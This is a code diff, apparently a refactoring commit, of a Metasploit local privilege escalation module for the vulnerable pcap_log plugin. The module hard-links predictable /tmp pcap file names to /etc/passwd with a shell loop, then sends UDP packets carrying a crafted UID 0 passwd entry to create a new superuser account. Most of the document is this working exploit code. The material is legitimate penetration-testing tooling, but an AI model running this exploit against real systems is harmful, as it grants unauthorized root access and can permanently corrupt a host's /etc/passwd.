@@ -14,31 +14,34 @@ def initialize(info = {})
1414 super (
1515 update_info (
1616 info ,
17- {
18- 'Name' => 'Multi Escalate Metasploit pcap_log Local Privilege Escalation' ,
19- 'Description' => %q{
20- Metasploit < 4.4 contains a vulnerable 'pcap_log' plugin which, when used with the default settings,
21- creates pcap files in /tmp with predictable file names. This exploits this by hard-linking these
22- filenames to /etc/passwd, then sending a packet with a privileged user entry contained within.
23- This, and all the other packets, are appended to /etc/passwd.
24-
25- Successful exploitation results in the creation of a new superuser account.
26-
27- This module requires manual clean-up. Upon success, you should remove /tmp/msf3-session*pcap
28- files and truncate /etc/passwd. Note that if this module fails, you can potentially induce
29- a permanent DoS on the target by corrupting the /etc/passwd file.
30- } ,
31- 'License' => MSF_LICENSE ,
32- 'Author' => [ '0a29406d9794e4f9b30b3c5d6702c708' ] ,
33- 'Platform' => %w[ bsd linux unix ] ,
34- 'SessionTypes' => [ 'shell' , 'meterpreter' ] ,
35- 'References' => [
36- [ 'BID' , '54472' ] ,
37- [ 'URL' , 'http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html' ] ,
38- [ 'URL' , 'https://community.rapid7.com/docs/DOC-1946' ] ,
39- ] ,
40- 'DisclosureDate' => '2012-07-16' ,
41- 'Stance' => Msf ::Exploit ::Stance ::Passive
17+ 'Name' => 'Multi Escalate Metasploit pcap_log Local Privilege Escalation' ,
18+ 'Description' => %q{
19+ Metasploit < 4.4 contains a vulnerable 'pcap_log' plugin which, when used with the default settings,
20+ creates pcap files in /tmp with predictable file names. This exploits this by hard-linking these
21+ filenames to /etc/passwd, then sending a packet with a privileged user entry contained within.
22+ This, and all the other packets, are appended to /etc/passwd.
23+
24+ Successful exploitation results in the creation of a new superuser account.
25+
26+ This module requires manual clean-up. Upon success, you should remove /tmp/msf3-session*pcap
27+ files and truncate /etc/passwd. Note that if this module fails, you can potentially induce
28+ a permanent DoS on the target by corrupting the /etc/passwd file.
29+ } ,
30+ 'License' => MSF_LICENSE ,
31+ 'Author' => [ '0a29406d9794e4f9b30b3c5d6702c708' ] ,
32+ 'Platform' => %w[ bsd linux unix ] ,
33+ 'SessionTypes' => [ 'shell' , 'meterpreter' ] ,
34+ 'References' => [
35+ [ 'BID' , '54472' ] ,
36+ [ 'URL' , 'http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html' ] ,
37+ [ 'URL' , 'https://community.rapid7.com/docs/DOC-1946' ] ,
38+ ] ,
39+ 'DisclosureDate' => '2012-07-16' ,
40+ 'Stance' => Msf ::Exploit ::Stance ::Passive ,
41+ 'Notes' => {
42+ 'Stability' => [ SERVICE_RESOURCE_LOSS ] ,
43+ 'SideEffects' => [ IOC_IN_LOGS , ARTIFACTS_ON_DISK , CONFIG_CHANGES ] ,
44+ 'Reliability' => [ ]
4245 }
4346 )
4447 )
@@ -48,7 +51,7 @@ def initialize(info = {})
4851 OptString . new ( 'USERNAME' , [ true , 'Username for the new superuser' , 'metasploit' ] ) ,
4952 OptString . new ( 'PASSWORD' , [ true , 'Password for the new superuser' , 'metasploit' ] ) ,
5053 OptInt . new ( 'MINUTES' , [ true , 'Number of minutes to try to inject' , 5 ] )
51- ] , self
54+ ]
5255 )
5356 end
5457
@@ -59,13 +62,18 @@ def normalize_minutes
5962 end
6063
6164 def run
62- print_status "Setting up the victim's /tmp dir"
6365 fail_with ( Failure ::NotFound , '/etc/passwd not found on system' ) unless file_exist? ( '/etc/passwd' )
66+
6467 initial_size = read_file ( '/etc/passwd' ) . lines . count
65- print_status "/etc/passwd is currently #{ initial_size } lines long"
68+ print_status ( "/etc/passwd is currently #{ initial_size } lines long" )
69+
70+ print_status ( "Setting up the victim's /tmp dir" )
71+
72+ username = datastore [ 'USERNAME' ]
6673 i = 0
6774 j = 0
6875 loop do
76+ # Setup links to /etc/passwd
6977 if ( i == 0 )
7078 j += 1
7179 break if j >= datastore [ 'MINUTES' ] + 1 # Give up after X minutes
@@ -74,29 +82,30 @@ def run
7482 print_status "Linking /etc/passwd to predictable tmp files (Attempt #{ j } )"
7583 cmd_exec ( "for i in `seq 0 120` ; do ln /etc/passwd /tmp/msf3-session_`date --date=\" \$ i seconds\" +%Y-%m-%d_%H-%M-%S`.pcap ; done" )
7684 end
85+
7786 current_size = read_file ( '/etc/passwd' ) . lines . count
78- if current_size == initial_size
79- # PCAP is flowing
80- pkt = " \n \n " + datastore [ 'USERNAME' ] + ':' + datastore [ 'PASSWORD' ] . crypt ( '0a' ) + ":0:0:Metasploit Root Account:/tmp:/bin/bash \n \n "
81- vprint_status ( "Sending /etc/passwd file contents payload to #{ session . session_host } " )
82- udpsock = Rex :: Socket :: Udp . create (
83- {
84- 'Context' => { 'Msf' => framework , 'MsfExploit' => self }
85- }
86- )
87- res = udpsock . sendto ( pkt , session . session_host , datastore [ 'RPORT' ] )
88- else
89- break
90- end
87+
88+ # passwd file line count has changed
89+ break if current_size != initial_size
90+
91+ # PCAP is flowing
92+ pkt = " \n \n " + username + ':' + datastore [ 'PASSWORD' ] . crypt ( '0a' ) + ":0:0:Metasploit Root Account:/tmp:/bin/bash \n \n "
93+ vprint_status ( "Sending /etc/passwd file contents payload to #{ session . session_host } " )
94+ udpsock = Rex :: Socket :: Udp . create (
95+ {
96+ 'Context' => { 'Msf' => framework , 'MsfExploit' => self }
97+ }
98+ )
99+ udpsock . sendto ( pkt , session . session_host , datastore [ 'RPORT' ] )
91100 sleep ( 1 ) # wait a second
92101 i = ( i + 1 ) % 60 # increment second counter
93102 end
94103
95104 if read_file ( '/etc/passwd' ) . includes? ( 'Metasploit' )
96- print_good ( "Success. You should now be able to login or su to the '" + datastore [ 'USERNAME' ] + " ' account")
105+ print_good ( "Success. You should now be able to login or su to the '#{ username } ' account" )
97106 # TODO: Consider recording our now-created username and password as a valid credential here.
98107 else
99- print_error ( "Failed, the '" + datastore [ 'USERNAME' ] + " ' user does not appear to have been added")
108+ print_error ( "Failed, the '#{ username } ' user does not appear to have been added" )
100109 end
101110 # 0a2940: Initially the plan was to have this post module switch user, upload & execute a new payload
102111 # However beceause the session is not a terminal, su will not always allow this.
0 commit comments